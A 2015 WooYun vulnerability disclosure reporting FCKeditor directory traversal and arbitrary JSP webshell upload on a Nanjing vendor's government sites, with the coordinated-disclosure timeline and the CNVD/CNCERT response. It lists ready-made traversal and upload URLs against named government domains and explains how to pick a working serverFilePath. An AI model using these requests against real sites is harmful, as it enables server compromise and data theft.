当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0107339

漏洞标题：某政府建站系统通用型漏洞打包

相关厂商：南京先行数字技术有限公司

漏洞作者： 路人甲

提交时间：2015-04-17 16:30

修复时间：2015-07-20 17:02

公开时间：2015-07-20 17:02

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-17： 细节已通知厂商并且等待厂商处理中
2015-04-21： 厂商已经确认，细节仅向厂商公开
2015-04-24： 细节向第三方安全合作伙伴开放
2015-06-15： 细节向核心白帽子及相关领域专家公开
2015-06-25： 细节向普通白帽子公开
2015-07-05： 细节向实习白帽子公开
2015-07-20： 细节向公众公开

简要描述：

1#目录遍历
2#任意文件上传getshell

详细说明：

百度关键字:

技术支持:南京先行数字技术有限公司


问题产生的原因是由于fck编辑器
1#目录遍历
以南京市公安局经济犯罪侦查支队网站为例
地址：http://221.231.143.11/www/njga/gajz/index.htm

http://221.231.143.11/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


可跨目录

QQ截图20150411192219.png


提供一些我找到的网站供复现

http://www.njfy.gov.cn:8080//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://www.njjg.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://njfy.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://www.njyhfy.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://www.njygcj.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://www.njmg.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://njlhqsfj.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://www.njjg.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://www.njlsxsfj.gov.cn//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


http://www.njmj.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../


等等，结果一目了然

漏洞证明：

2#任意文件上传getshell
以南京市公安局经济犯罪侦查支队网站为例
地址：http://221.231.143.11/www/njga/gajz/index.htm
这里直接利用fck的上传页面

http://221.231.143.11/FCKeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=connectors/jsp/connector


需要注意，必须在上面链接的最后带上参数serverFilePath=njnews/zlh，才可以上传成功，参数值不能随便输入，必须要利用遍历，找到upload目录下面存在类似jpg文件的文件夹，只有把serverFilePath的值设置到这些文件夹才能正常上传，比如

upload/szzx/szzx/Image

这个文件夹下存在文件，即可把serverFilePath的值赋值为

serverFilePath=szzx/szzx


QQ截图20150411195139.png


然后通过

http://221.231.143.11/FCKeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=connectors/jsp/connector&serverFilePath=szzx/szzx


即可直接上传

QQ图片20150411195439.jpg


换个存在图片的目录

http://221.231.143.11/FCKeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=connectors/jsp/connector&serverFilePath=njnews/zlh


QQ截图20150411194159.png


一句话地址：http://221.231.143.11/upload/njnews/zlh/File/01.jsp（此处shell已删除）

QQ截图20150411194246.png


QQ截图20150411194131.png


因为上传的特殊性，我再演示一个站点南京市公安局交通管理局http://www.njjg.gov.cn
正常的fck上传链接（当然，此时上传是会失败的）

http://www.njjg.gov.cn/FCKeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=connectors/jsp/connector


利用遍历找到存在文件的能够上传的文件夹

upload/njjg/njjg/Image


QQ截图20150411200006.png


构造

http://www.njjg.gov.cn/FCKeditor/editor/filemanager/browser/default/browser.html?Type=&Connector=connectors/jsp/connector&serverFilePath=njjg/njjg


QQ截图20150411200239.png


QQ截图20150411200413.png


一句话地址：
http://www.njjg.gov.cn/upload/njjg/njjg/File/01.jsp（此处shell已删除）

QQ截图20150411200519.png


以上存在遍历的站点都存在上传问题，能不能上传，关键在于serverFilePath的配置，个人观察能够上传的目录，是站点用户的上传目录，比如njjg/njjg，对应的就是

站点名称/站点用户

，当然这都是我的yy

修复方案：

正确配置fck

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2015-04-21 17:00

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给江苏分中心，由其后续协调网站管理单位处置。

最新状态：

暂无